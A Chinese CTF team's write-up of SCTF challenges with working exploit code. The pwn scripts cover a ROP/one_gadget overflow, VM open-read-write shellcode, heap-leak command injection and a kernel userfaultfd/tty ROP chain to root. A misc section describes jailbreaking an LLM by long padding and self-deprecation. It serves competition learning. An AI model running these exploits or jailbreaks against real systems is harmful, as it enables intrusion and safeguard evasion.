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赛后榜单截图

题⽬

Misc�

easyMCU�

给了板⼦和固件，需要重点逆向串⼝逻辑。

⽤⼾使⽤串⼝助⼿xcom输⼊⼀串flag后，在串⼝助⼿中返回了⼀些数据，如图xcom.jpg所⽰。求

flag�



PCB�图太⼤就不贴了，⼤眼观察法得到：�

• 开发板型号：AURIX�TC275�lite�Kit�

• MCU�型号：SAK-TC275TP-64F200W�DB�

之前�i�⼤爷做过类似的题⽬，我也跟着知道了烧录⽤的�hex�⽂件可以直接拖进�IDA，Processor�选�

TRICORE：�



进去之后需要定位串⼝逻辑，⽤�115200�的波特率做突破⼝，查交叉引⽤：�

引⽤波特率的函数应当是� uart_init ，再查交叉引⽤，根据这⾥的代码仓库，猜测并恢复主函数。�

https://github.com/Infineon/AURIX_code_examples/blob/master/code_exa…

AURIX_code_examples/code_examples/ASCLIN_UART_1_KI

T_TC275_LK/Cpu0_Main.c�at�master�·�Infineon/AURIX_�
This�repository�contains�code�example�projects�for�the�AURIX™�Development…



进⼀步地，可以利⽤上⾯恢复的函数信息，恢复内存布局。

• 0x6000�~�?�⽤于存放全局变量，其中：�

◦ 0x6000： g_count �

◦ 0x6004： g_rxData �

◦ 0x607C： g_txData �

◦ 0x609C： g_ascHandle �

◦ ……

#define TIME_INFINITE ((Ifx_TickTime)0x7FFFFFFFFFFFFFFFLL)

/* This function sends and receives the string "Hello World!" */
void send_receive_ASCLIN_UART_message(void)
{
    IfxAsclin_Asc_write(&g_ascHandle, g_txData, &g_count, TIME_INFINITE);   /* 
Transmit data via TX */
    IfxAsclin_Asc_read(&g_ascHandle, g_rxData, &g_count, TIME_INFINITE);    /* 
Receive data via RX  */
}
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⼀个函数如果有四个参数，并且引⽤了� TIME_INFINITE ，就可以猜测其为收发�UART�的函数。根

据题⽬描述，先收后发，结合数据⻓度为�32，可以恢复�UART�的收发函数，据此确定加密逻辑的位



置。

⼀路跟加密逻辑，先看第⼀层，发现⽐较复杂，然⽽蹦出来⼀个巨⼤的数组：

AES�的�S�盒，密钥貌似也给了，只看到了密钥没看到�IV，所以猜测是�AES-128-ECB。�

第⼆层加密，看⼀下汇编，发现逻辑很简单：

data[i] = ((data[i] << 3) | (data[i] >> 5)) & 0xff
data[i] = data[i] ^ data[i+1] ^ (0xff)
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写逆：

from Crypto.Cipher import AES

flag = [0x63, 0xD4, 0xDD, 0x72, 0xB0, 0x8C, 0xAE, 0x31, 0x8C, 0x33, 0x03, 
0x22, 0x03, 0x1C, 0xE4, 0xD3, 0xC3, 0xE3, 0x54, 0xB2, 0x1D, 0xEB, 0xEB, 0x9D, 
0x45, 0xB1, 0xBE, 0x86, 0xCD, 0xE9, 0x93, 0xD8]
for i in range(31, -1, -1):
    flag[i] ^= flag[(i + 1) % 0x20] ^ 0xff
    flag[i] = (flag[i] >> 3) | (flag[i] << 5) & 0xff

key = bytes.fromhex("2E357D6AED44F34DADB9113413EA324E")
print(AES.new(key, mode = AES.MODE_ECB).decrypt(bytes(flag)))
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速来探索SCTF星球隐藏的秘密！�



第⼀关：http://1.95.67.57:8028/�

输⼊正确时没有�“Really?”�

import requests
import json
from string import printable

url = 'http://1.95.67.57:8000/check'

def check(payload):
    data = {
        'input': payload
    }
    r = requests.post(url, json=data)
    return r.text

flag = ''
for _ in range(50):
    for i in printable:
        payload = flag + i
        res = check(payload)
        res = json.loads(res)
        if res["message"] == "Really?":
            continue
        else:
            print(payload, res)
            flag += i
            break

print(flag)

# HAHAHAy04 {'message': 'Congratulations, you got the key to the SCTF planet. 
Let’s start the next journey: <a href="http://1.95.67.57:8502" style="color: 
pink;">http://1.95.67.57:8502</a>'}
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HAHAHAy04�{'message':�'Congratulations,�you�got�the�key�to�the�SCTF�planet.�Let’s�start�the�

next�journey:�<a�href="http://1.95.67.57:8502"�style="color:�pink;">http://1.95.67.57:8502</a>'}�

http://1.95.67.57:8028/
http://1.95.67.57:8502/
http://1.95.67.57:8502/


第⼆关：http://1.95.67.57:8502�

有⽜魔酬宾

http://1.95.67.57:8502/


忧郁沙茶：什么傲娇



其实很简单，但是它在各⽅⾯都表现得很好让我⼀开始没试这种攻击，不过这个限制也挺死的



但是试了这⼏种发现⼜都不⾏，看来还是挺死的



实际上我是这么做出来的：



讲⼀下思路，由于⼤模型的下⼀个�token�是根据前⾯的�token�和�prompt�得到的，我们企图达到以下

两点：

1. 让前⾯的�token�的权重⼤于�prompt�，避免被注意到违规，即“写⼀⾮常⻓段话”（不要在意奇怪

的语法）

2. 让模型⾃⼰把⾃⼰描述的不称职，然后根据这些语义上不称职的�token�来⽣成接下来的�token�，那

么收到前⾯不称职的语义影响，它就很有可能说出违规内容

FixIt�

.pixel �的� width �和� height �改成�2px，HTML�Body�⾥写：�

<body>
<div class="pixel-wrap"><div class="pixel"></div></div>
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得到的码扫⼀下就⾏。



问卷�

Crypto�

Signin�

from Crypto.Util.number import long_to_bytes
from sage.all import gcd, PolynomialRing, ZZ
from Crypto.Util.number import long_to_bytes
from hashlib import md5

def wiener_attack(n, e):
    """Wiener's attack"""
    n = ZZ(n)
    e = ZZ(e)
    Zx = PolynomialRing(ZZ, 'x')
    x = Zx.gen()
    for f in (e / n).continued_fraction().convergents()[1:]:
        k, d = f.numerator(), f.denominator()
        if d.nbits() <= 256 and d.nbits() > 128:
            phi  = (e * d - 1) // k
            # phi = (p^2 + p + 1) * (q^2 + q + 1)
            # phi = ((N/p)^2 + N/p + 1) * (p^2 + p + 1)
            # phi * p^2 = (N^2 + N*p + p^2) * (p^2 + p + 1)
            f = phi * x ** 2 - (N**2 + N * x + x**2) * (x**2 + x + 1)
            roots = f.roots()
            if roots:
                p, q = roots[0][0], roots[1][0]
                if p * q == N:
                    print("[+] Found p and q")
                    print(f'p = {p}')
                    print(f'q = {q}')
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                    return p, q

N = 
3226142147821384605571267096650248920475532817011545504653835116475110461967110
2517649635534043658087736634695616391757439732095084483689790126957681118278054
5878939725472300815146879414765048465733462323493965287940229028494024621407208
82761797608629678538971832857107919821058604542569600500431547986211951
e = 
3344508171322138896999163013320766769078074957383017433675325513412595545974555
3278763274652280606341319405758399885866964141354946920580351003262343205727457
4904024415310727712701532706683404590321555542304471243731711502894688623443411
5227428371783841573506523361339578397791842782839849646169213110209655405139880
5916384230028480974792718858598277836579855895961178524876707516946449569109281
6641600277394649073668575637386621433598176627864284154484501969887686377152288
2968382589302936149420206559167017995319713071714239746513941567802698306310299
15305188230547099840604668445612429756706738202411074392821840

p, q = wiener_attack(N**2, e)
bp = long_to_bytes(int(p))
FLAG = 'SCTF{'+md5(bp).hexdigest()+'}'
print(FLAG)
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Pwn�

kno_puts�

原来是我最爱的⾮预期解：

cd sbin
 
rm poweroff
 
cat << EOF > ./poweroff ; chmod +x ./poweroff
#!/bin/sh
/bin/sh
EOF
 
exit
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SCTF{0h_As_y0u_K0w0_s0mt1mes_th0_kas1r_Is_a_J0ke!!!}�

factory�



没啥好说的，简单栈溢出跑libc�one_gadget完事

alloca 扩栈的时候是乘4的，但访问数组的时候⽤的 int64 是乘8的，⼤⼩直接 0x28 给满，发现
从返回地址开始可以溢出11个 int64 。�

写数组时直接修改变量 i 即可跳过canary�

from pwn import *
import sys

is_debug = 'debug' in sys.argv
is_simple = 'simple' in sys.argv

context(os='linux', arch='amd64')
if not is_simple:
    context.log_level = 'debug'

filename = './factory'
vuln = ELF(filename)
libc = ELF('./libc.so.6')
if is_debug:
    sh = process(filename)
    # attach(sh)
    input()
else:
    sh = remote('1.95.81.93', 57777)

pop_rdi = 0x401563
pop_rsi_r15 = 0x401561
ret = 0x401564
onegadget_off = 0xe3b04

puts_plt = 0x4010b0
func = 'atol'

sh.sendafter(b'build:', str(0x28).encode())
for i in range(23):
    sh.sendafter(b'=', str(28).encode())
sh.sendafter(b'30 =', str(pop_rdi).encode())
sh.sendafter(b'31 =', str(vuln.got[func]).encode())
sh.sendafter(b'32 =', str(puts_plt).encode())
sh.sendafter(b'33 =', str(vuln.sym['main']).encode())
sh.sendafter(b'34 =', str(vuln.sym['main']).encode())
sh.sendafter(b'35 =', str(vuln.sym['main']).encode())
sh.sendafter(b'36 =', str(vuln.sym['main']).encode())
sh.sendafter(b'37 =', str(vuln.sym['main']).encode())
sh.sendafter(b'38 =', str(vuln.sym['main']).encode())
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sh.sendafter(b'39 =', str(vuln.sym['main']).encode())
sh.sendafter(b'40 =', str(vuln.sym['main']).encode())

sh.recvuntil(b'are:')
sh.recvuntil(b'\n')
func_addr = u64(sh.recvuntil(b'\nHow', drop=True).ljust(8, b'\0'))
success('func_addr = ' + hex(func_addr))
libc_base = func_addr - libc.sym[func]
info('libc_base = ' + hex(libc_base))

sh.sendafter(b'build:', str(0x28).encode())
for i in range(23):
    sh.sendafter(b'=', str(28).encode())
sh.sendafter(b'30 =', str(pop_rsi_r15).encode())
sh.sendafter(b'31 =', str(0).encode())
sh.sendafter(b'32 =', str(0).encode())
sh.sendafter(b'33 =', str(libc_base + onegadget_off).encode())
sh.sendafter(b'34 =', str(vuln.sym['main']).encode())
sh.sendafter(b'35 =', str(vuln.sym['main']).encode())
sh.sendafter(b'36 =', str(vuln.sym['main']).encode())
sh.sendafter(b'37 =', str(vuln.sym['main']).encode())
sh.sendafter(b'38 =', str(vuln.sym['main']).encode())
sh.sendafter(b'39 =', str(vuln.sym['main']).encode())
sh.sendafter(b'40 =', str(vuln.sym['main']).encode())

sh.interactive()
sh.close()
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vmcode�

有seccomp，只允许ORW和exit，后⾯是个vm�

逆向逻辑：

#!/usr/bin/env python3

def vm_dis(codes):
    pc = 0
    while pc < len(codes):
        print('0x%04x: ' % pc, end='')
        op = codes[pc]
        pc += 1
        if op == 0x21:
            offset = int.from_bytes(codes[pc: pc + 2], 'little')
            pc += 2
            print('call 0x04%x' % (offset + pc & 0xffff))
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        elif op == 0x22:
            print('ret')
        elif op == 0x23:
            print('xor')
        elif op == 0x24:
            print('swap2')
        elif op == 0x25:
            print('swap1')
        elif op == 0x26:
            value = int.from_bytes(codes[pc: pc + 4], 'little')
            pc += 4
            print('push 0x%x' % value)
        elif op == 0x27:
            print('and8 ff')
        elif op == 0x28:
            print('pop')
        elif op == 0x29:
            print('shr8 8')
        elif op == 0x2a:
            print('dup')
        elif op == 0x2b:
            print('shl8 8')
        elif op == 0x2c:
            offset = int.from_bytes(codes[pc: pc + 2], 'little')
            pc += 2
            print('jnz 0x%04x' % (offset + pc & 0xffff))
        elif op == 0x2d:
            print('ror8')
        elif op == 0x2e:
            print('rol8')
        elif op == 0x2f:
            print('and8')
        elif op == 0x30:
            print('syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax')
        elif op == 0x31:
            print('push rsp # pointer to stack last value')
        elif op == 0x32:
            print('push pc # pointer to next pc')
        elif op == 0x33:
            print('exit')
        else:
            print('nop')

codes = 
bytes.fromhex('266c636f642b2b2b2b267368656c233126653a200025260b0000002526010000
0026010000003028282826500000003226f100000023260000000026000000003033')
vm_dis(codes)
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'''
0x0000: push 0x646f636c
0x0005: shl8 8
0x0006: shl8 8
0x0007: shl8 8
0x0008: shl8 8
0x0009: push 0x6c656873
0x000e: xor
0x000f: push rsp # pointer to stack last value
0x0010: push 0x203a65
0x0015: swap1
0x0016: push 0xb
0x001b: swap1
0x001c: push 0x1
0x0021: push 0x1
0x0026: syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax
# syscall(1, 1, "shellcode: ", 11)
0x0027: pop
0x0028: pop
0x0029: pop
0x002a: push 0x50
0x002f: push pc # pointer to next pc
0x0030: push 0xf1
0x0035: xor
# (0x4040 + 0x30) ^ 0xf1 = (0x4040 + 0x31)
0x0036: push 0x0
0x003b: push 0x0
0x0040: syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax
# syscall(0, 0, code + 0x41, 0x50)
0x0041: exit
'''
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exp：�

def xor(v=None):
        if v == None:
                return b'\x23'
        else:
                return push_dword(v) + b'\x23'

def swap2():
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        return b'\x24'

def swap1():
        return b'\x25'

def push_dword(v):
        assert 0 <= v < (1 << 32)
        return b'\x26' + v.to_bytes(4, 'little')

def pop():
        return b'\x28'

def dup():
        return b'\x2a'

def shl8(n):
        assert n == 32
        return b'\x2b' * 4

def syscall():
        return b'\x30'

def push_sp():
        return b'\x31'

def push_pc():
        return b'\x32'

def halt():
        return b'\x33'

def push0():
        return dup() + dup() + xor()

def push_string(s):
        '''
        before: [...]
        after:  [pointer, ...]
        '''
        s += b'\x00' * (8 - len(s) % 8)
        payload = b''
        for i in range(0, len(s), 8):
                v1 = int.from_bytes(s[i + 0: i + 4], 'little')
                v0 = int.from_bytes(s[i + 4: i + 8], 'little')
                if v0 != 0:
                        payload += push_dword(v0) + shl8(32)
                        if v1 != 0:
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                                payload += xor(v1)
                        else:
                                pass
                elif v1 != 0:
                        payload += push_dword(v1)
                else:
                        payload += push0()
                
                if i == 0:
                        payload += push_sp()
                else:
                        payload += swap1()
        return payload

def open(s):
        '''
        before: [...]
        after:  [fd, ...]
        '''
        return push_string(s) + push0() + dup() + swap2() + push_dword(2) + 
syscall()

def read():
        '''
        before: [fd, ...]
        after:  [pointer, size, ...]
        '''
        return push_sp() + xor(0x800) + dup() + swap2() + push_dword(0x200) + 
swap2() + swap1() + push0() + syscall() + swap1()

def write():
        '''
        before: [pointer, size, ...]
        after: [...]
        '''
        return push_dword(1) + dup() + syscall()

payload = open(b'./flag') + read() + write() + halt()
assert len(payload) < 0x50

from pwn import *

# p = process('./pwn')
p = remote('1.95.68.23', 58924)
# input()
p.send(payload)
p.interactive()
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c_or_go�

第⼀步是逆向，先拖⼊⾃⽤低版本ida，跑个go脚本确定版本，⼀看吓⼀跳，go1.13，什么远古版本，

逆向题都没有这么⽼的版本，那就只能动⽤ida�9.0的⼒量了。�

花个⼏⼩时逆完，程序逻辑是输⼊⼀⾏json给程序解析，得到[]main.TaskForm，之后将每个转换为

main.Task（UserName和Content经过base64解码得到），并根据TaskType分配线程去处理，等待

所有任务完成后重复。有这些类型：

TaskType:
-1: check_key(UserName):
        assert strcmp(UserName, "%v".format(&puts)) == 0
        exec(["sh", "-c", "echo %s" % Content])
0: new_user(UserName, Content, Size)
1: show_user(UserName)
2: delete_user(UserName)
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⽬标很清晰，就是拿到libc地址后⽤check_key做命令注⼊。�

看具体实现，除了check_key是在go实现的，另外三个都是c实现的，c⾥的数据结构是�

struct User {
    char name[256];
    char* content;
    int inuse;
    int content_size;
};

User* user_control[12];

1
2
3
4
5
6
7
8

user_control是在程序启动时直接初始化了，已经为12项都calloc了，那么User.name就没啥⽤，不再

涉及堆⾏为，那只能是从content下⼿了。�

new_user中创建content�malloc的size并不是strlen得到的，⽽是传⼊的第三个参数size，⽽这个参数

是go结构体⾥的，也是由json指定的，⽽不是直接取的Content⻓度，并且没有这⼆者的⽐较，所以可

以输⼊⼀个短的Content和⼤的Size，new_user时就可以将Content后⾯的东西泄露出来，不过go⾥

对Size限制⼩于0x70。传给c的参数⾥的UserName,�Content�指针都是通过c的malloc创建的，所以可

以泄露堆，但是这些指针没有free。所以现在有了⼀个受限越界读。delete_user中正常的free掉

Content后清空，�



如果只是考虑堆⾏为，只有这些⼩堆块操作很难泄露libc，还得需要个写。⽆意中运⾏程序，啥都没

输，它输出了⼀段逆向⾥没⻅过的字符串，定位后发现原来是主程序解析输⼊之后会reload⼀次，

reload⾥还有操作，将所有inuse的content都free掉，但是没有清空指针和inuse；随后分配了⼀个较

⼤的块，在0x10处放了free的地址，再将这个块free掉。那就很明显了，需要⽤上⾯的⽅式将这个块的

内容泄露出来。逆向部分到此结束。

然后开调，就遇到了真正的问题，go它本⾝就是个多线程的，堆管理器更⿇烦。newproc并不是直接

创建⼀个新线程，⽽是从线程池中分配⼀个，并且执⾏完成后不销毁。⽽glibc的内存管理是每个线程

独⽴的，操作起来更加⿇烦了。

想了很久，需要先创建⼀部分⽤⼾，然后触发reload，⽬标是有⼀个块是当前reload线程堆中的⼀

块，并且后⾯分配的较⼤的块在它后⾯紧挨着或者不远，能通过上⾯的越界读读到。

from pwn import *
import base64
import json
import time

'''
TaskType:
-1: check_key(UserName):
    assert strcmp(UserName, "%v".format(&puts)) == 0
    exec(["sh", "-c", "echo %s" % Content])
0: new_user(UserName, Content, size)
1: show_user(UserName)
2: delete_user(UserName)
'''

def new_user(name, size, content=None):
    assert size < 0x70
    if content == None:
        content = 'AA=='
    else:
        content = base64.b64encode(content).decode()

    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps([{
        'task_type': 0,
        'username': base64.b64encode(name + b'\x00').decode(),
        'content': content,
        'size': size,
    }]).encode())
    p.recvuntil(b'All task have been completed\n')

def new_users(names, size, content=None):
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    assert size < 0x70
    if content == None:
        content = 'AA=='
    else:
        content = base64.b64encode(content).decode()

    data = []
    for name in names:
        data.append({
            'task_type': 0,
            'username': base64.b64encode(name + b'\x00').decode(),
            'content': content,
            'size': size,
        })

    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps(data).encode())
    p.recvuntil(b'All task have been completed\n')

def show_user(name):
    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps([{
        'task_type': 1,
        'username': base64.b64encode(name + b'\x00').decode()
    }]).encode())
    p.recvuntil(b'user')
    line = p.recvline(keepends=False) # b':\n\n')
    if line == b' is not exits':
        content = b''
    else:
        assert line == b' content:'
        assert p.recvline() == b'\n'
        content = p.recvuntil(b'show user content success\n', drop=True)
    p.recvuntil(b'All task have been completed\n')
    return content

def delete_user(name):
    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps([{
        'task_type': 2,
        'username': base64.b64encode(name + b'\x00').decode()
    }]).encode())
    p.recvuntil(b'All task have been completed\n')

def delete_users(names):
    data = []
    for name in names:
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        data.append({
            'task_type': 2,
            'username': base64.b64encode(name + b'\x00').decode(),
        })

    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps(data).encode())
    p.recvuntil(b'All task have been completed\n')

def check_key(addr, cmd):
    p.recvuntil(b'Please input your tasks\n')
    p.sendline(json.dumps([{
        'task_type': -1,
        'username': base64.b64encode(hex(addr).encode() + b'\x00').decode(),
        'content': base64.b64encode(b'hello;%s' % cmd).decode(),
        'size': 0x60,
    }]).encode())
    # p.recvuntil(b'All task have been completed\n')

reloaded = False
def reload():
    global reloaded
    assert not reloaded
    reloaded = True
    p.recvuntil(b'Please input your tasks\n')
    p.sendline(b'?')
    time.sleep(0.1)

libc = ELF('./libc-2.31.so', checksec=False)
free_addr = libc.sym['free']
puts_addr = libc.sym['puts']

# p = remote('1.95.70.149', 80)
p = process("./c_or_go")
context.log_level = 'debug'
# gdb.attach(p.pid, gdbscript='set disassembly-flavor intel\ndisplay/i $pc\nb 
*0x4d8d8a\nc')
# gdb.attach(p.pid, gdbscript='set disassembly-flavor intel\ndisplay/i $pc\nb 
*0x4d96a4\nc')
# check_key(0, b'ls')

# input()

init_job_count = 6
new_users([chr(0x61 + i).encode() for i in range(init_job_count)], 0x28)
# new_users([b'a' for i in range(init_job_count)], 0x28)
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# for i in range(init_job_count):
#     new_user(b'a', 0x28)

reload()
# input()
# delete_users([chr(0x61 + i).encode() for i in range(init_job_count)])
# for i in range(init_job_count):
    # delete_user(chr(0x61 + i).encode())
    # delete_user(b'a')

job_count = 6
found = False
for _ in range(4):
    new_users([b'b' for i in range(job_count)], 0x68, b'\x00' * 0x10 + b'A' * 
0x10)
    for i in range(job_count):
        dump = show_user(b'b')
        delete_user(b'b')
        print(hexdump(dump))
        values = [u64(dump[i: i + 8]) for i in range(0, len(dump), 8)]
        for value in values:
            if (value & 0xfff) == (free_addr & 0xfff) and (value >> 40) == 
0x7f:
                found = True
                print('possible free: ' + hex(value))
                check_key(value - free_addr + puts_addr, b'sh')
                break
        if found: break
        # input()
    if found: break
else:
    print('error')
    p.close()
    exit()

p.interactive()
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线程分配⽐较随机，有⼀定概率性。最后就能触发check_key的执⾏命令。但是这⾥卡了⼏个⼩时，

执⾏命令⼀直失败，最后发现是Content我多加了个\x00，本来是⽤来做截断的，在这⾥go命令直接

不给执⾏了，实在是抽象。

kno_puts�revenge�

根据上⼀题�flag，应该是要�kaslr�绕过，想起来可以直接读�/sys/kernel/notes�



5.4.272�的内核，注意�init�脚本，可以⽤�userfaultfd�卡住�write，应该可以实现�UAF�的效果，后⾯⼤

⼩�0x2E0�应该正好也能打�tty：�

// author: @eastXueLian
// usage : eval $buildPhase
// You can refer to my nix configuration for detailed information.

#include "libLian.h"
#include <stdint.h>
#define OFFSET 0x84
#define NUM_BYTES 8
#define LEAK_FILE "/sys/kernel/notes"

extern size_t user_cs, user_ss, user_rflags, user_sp;
int fd, tty_fd;
size_t kaslr_offset;
size_t buf[8];
size_t heap_chunk_addr;
size_t fake_op_addr;
size_t mov_rsp_rax_ret = 0xffffffff81c014aa;
size_t push_rsi_pop_rsp = 0xffffffff81599a34;
size_t pop_rax_ret = 0xffffffff8101040e;

void segfault_handler(int sig) {
    success("Returning root shell:");
    get_shell();
    exit(0);
}

static void *fault_handler_thread(void *arg) {
    static int fault_cnt = 0;
    char *page = malloc(0x1000);
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    bind_cpu(0);

    uffd = (long)arg;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        read(uffd, &msg, sizeof(msg));
        log(fault_cnt);
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        switch (fault_cnt++) {
        case 0: {
            ((size_t *)page)[0] = 0x100005401;
            ((size_t *)page)[1] = 0;
            ((size_t *)page)[2] = heap_chunk_addr + 0x70;

            buf[5] = 0; // v4
            ioctl(fd, 0xfff1, buf);

            tty_fd = open("/dev/ptmx", O_RDWR);
            success("Should UAF tty");

            buf[5] = (size_t)&fake_op_addr; // v4
            ioctl(fd, 0xfff0, buf);
            log(fake_op_addr);

            ((size_t *)page)[3] = fake_op_addr;
            size_t fake_op_buf[0x2e0 / 8];

            for (int i = 0; i < 0x10; i++)
                fake_op_buf[i] = push_rsi_pop_rsp + kaslr_offset;

            fake_op_buf[0] = pop_rax_ret + kaslr_offset;
            fake_op_buf[1] = fake_op_addr + 0x100;
            int j = 0x100 / 8;
            fake_op_buf[j++] = 0xdeadbeef11;
            fake_op_buf[j++] = 0xdeadbeef11;
            fake_op_buf[j++] = 0xdeadbeef11;
            write(fd, (char *)fake_op_buf, 0x2e0);

            break;
        }
        }

        copy.src = (size_t)page;
        copy.dst = (size_t)msg.arg.pagefault.address & ~(0x1000 - 1);
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        ioctl(uffd, UFFDIO_COPY, &copy);
    }
    return NULL;
}

void register_userfaultfd(void *addr, unsigned long len,
                          void *(*handler)(void *)) {
    struct uffdio_api uffdio_api;
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    struct uffdio_register uffdio_register;
    pthread_t monitor_thread;
    long uffd;

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    ioctl(uffd, UFFDIO_API, &uffdio_api);

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

    pthread_create(&monitor_thread, NULL, handler, (void *)uffd);
}

void leak_from_kerner_notes() {
    FILE *file = fopen(LEAK_FILE, "rb");
    if (file == NULL) {
        errExit("Error opening file");
    }
    if (fseek(file, OFFSET, SEEK_SET) != 0) {
        errExit("Error seeking in file");
    }
    uint8_t buffer[NUM_BYTES];
    size_t bytesRead = fread(buffer, 1, NUM_BYTES, file);
    if (bytesRead != NUM_BYTES) {
        errExit("readfile failed");
    }
    fclose(file);
    size_t value = 0;
    for (int i = 0; i < NUM_BYTES; i++) {
        value |= ((size_t)buffer[i] << (8 * i));
    }
    kaslr_offset = value - 0x1949480 - 0xffffffff81097d00;
    log(kaslr_offset);
}

int main() {
    save_status();
    signal(SIGSEGV, segfault_handler);
    bind_cpu(0);
    leak_from_kerner_notes();

    fd = open("/dev/ksctf", 2);
    buf[0] = 0xdea1bee1caf1bad1;
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    buf[1] = 0xdea2bee2caf2bad2;
    buf[2] = 0xdea3bee3caf3bad3;
    buf[3] = 0xdea4bee4caf4bad4;
    buf[4] = 0xdea5bee5caf50001;       // bypass password
    buf[5] = (size_t)&heap_chunk_addr; // v4
    ioctl(fd, 0xfff0, buf);
    log(heap_chunk_addr);

    char *uffd_page =
        mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    log(uffd_page);
    register_userfaultfd(uffd_page, 0x1000, fault_handler_thread);
    /* write(fd, uffd_page, 1); */
    write(fd, uffd_page, 0x20);

    getchar();
    size_t pop_rdi_ret = 0xffffffff81003e98 + kaslr_offset;
    size_t prepare_kernel_cred = 0xffffffff81098140 + kaslr_offset;
    size_t commit_creds = 0xffffffff81097d00 + kaslr_offset;
    size_t mov_cr4_rdi_ret = 0xffffffff8103cd62 + kaslr_offset;
    /* 0xffffffff81025c18 : mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi
     * ; ret */
    /* 0xffffffff810035a6 : pop rbx ; ret */

    size_t rop[0x100 / 8];
    int i = 0;
    rop[i++] = pop_rdi_ret;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = kaslr_offset + 0xffffffff810035a6;
    rop[i++] = 0;
    rop[i++] = kaslr_offset + 0xffffffff81025c18;
    rop[i++] = 0;
    rop[i++] = commit_creds;
    rop[i++] = pop_rdi_ret;
    rop[i++] = 0x6f0;
    rop[i++] = mov_cr4_rdi_ret;
    rop[i++] = kaslr_offset + 0xffffffff8105c8f0;
    rop[i++] = kaslr_offset + 0xffffffff8109ca26;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(tty_fd, rop, 0x100);

    return 0;
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}185

这破靶机连不到外⽹，⽤不了�wget，传得我累死了�

Reverse�

Logindemo�

有⼏个�stringDecrypt�函数混淆了所有字符串�

整个题⽬透露着⼀股计算量⼤的恶臭

Jadx�⼜没把关键函数还原出来，不过看注释发现还是和�native�层有不⼩的关系�

先复制⼀下�stringDecrypt�⽅法�

stringDecrypt("1e5f43796251534c5e03145f43",�79)�dex_class.dex�

stringDecrypt("19525c1d154347524342571515565e1d145f43796251534c5e",�79)�

com.example.emm.dex_class�

stringDecrypt("1a050207",�26)�SCTF�

stringDecrypt("7115151515151515",�26)�88888888�



stringDecrypt("210915115f00150e160c0a141c020a14130d0d111d161c1c1c",�26)�

http://47.109.106.62:9090�

stringDecrypt("324c591a191d520d0d",�26)�{"name":"�

stringDecrypt("6b1b1b47040715110d0803530d0d",�26)�","password":"�

stringDecrypt("6b4a",�26)�"}�

stringDecrypt("28041509101f170008131454500c0914",�26)�application/json�

stringDecrypt("6656161d1b12",�26)�/login�

签名逻辑

v1�=�com.example.sctf1.GoodCard.anything(edit_username+edit_password)�#�来⾃输⼊�

v2�=�com.example.sctf1.LoginActivity.transform(v1)�

v3�=�com.example.sctf1.Getstr.getNothing(v2)�

phone_number�=�v3�

params�=�f"{"name":"SCTF","password":"88888888"}�#�假账号密码�

payload�=�secretKey�+�"http://47.109.106.62:9090"�+�params�

Signature�=�com.example.sctf1.SignatureGenerator.generateSignature(payload)�#�就是�base64�

okhttp3.MediaType�mt�=�okhttp3.MediaType.parse("application/json")�

okhttp3.RequestBody�rb�=�okhttp3.RequestBody.create(r0,�params)�

okhttp3.Request$Builder�rebu�=�new�

okhttp3.Request$Builder.url("http://47.109.106.62:9090/login").post(rb).addHearder(signature).

build()�

okhttp3.Response�res�=�new�okhttp3.OkHttpClient().newCall(rebu).execute()�

If�r0.boby().string().isSuccessful()�==�0:�

Output�⽤⼾已存在！或密码少于6位了或密码错误�

Else:�

成功登录

phone_number�来⾃�native�层⾮常复杂的函数�

secretKey�是�Java�反射来的，有点难看，上�jeb�试试�

http://47.109.106.62:9090/
http://47.109.106.62:9090/
http://47.109.106.62:9090/login
http://47.109.106.62:9090/login


？？？�Jeb�太有含⾦量了，直接把混淆全去了，我还搁这傻了吧唧⼿动去�

LoginActivity.this.secretKey�=�

Objects.requireNonNull(this.val$method.invoke(this.val$dexlib_obj,�

LoginActivity.this.phone_number)).toString();�

就是调⽤�com.dex_class.say_hello�循环异或�S0C0Z0Y0W�

看看流量包，有意义的应该是最后两条，⼀次成功⼀次失败

b'b\x03q\x00c\x03k\x02ce\x04z\x07b\x06`\x03ba\x05q\x00o\ta\x08dk\x06w\x01o\tj\t
n`\x03v\x02n\x06m\x04fd\x04z\x01l\x01m\x03ed\x03q\tk\x02h\tae\x04q\x02n\x02n\x0
4df\tu\x01b\x08k\x08f`\x08w\x07c\x01h\x02fj\x08p\x01j\x04o\tbb\x00p\ti\x08m\x03
nk\tr\x01m\x05`\x08nb\x00u\x02o\x02k\x04n`\x02q\x08o\x02n\x04`d\x01w\x05h\ta\ta
g\x01s\x00k\to\x01ej\x05t\tm\x05k\x08`k\x03r\x08i\x00m\x03ca\x08w\x06n\x05o\x03
d`\x02z\x03b\x03h\x03fc\tv\x03k\x04i\x04ej\tr\x02m\x07h\x04fa\x06{\x01k\x08o\x0
6ac\x00t\x07k\x08`\tob\x03v\x01k\x07a\x02bd\x00r\x00h\x03`\x03fa\x00t\x06l\t`\x
00ag\tu\x08i\x04i\tfe\x02s\x06m\x08a\x07cc\x08z\x03m\x01o\x05ae\tw\x08j\x08h\x0
0f`\x03u\x01m\x08m\x01o`\x03t\x07h\x05`\x05ad\x01u\x05o\x07a\x06oj\x06z\x03m\x0
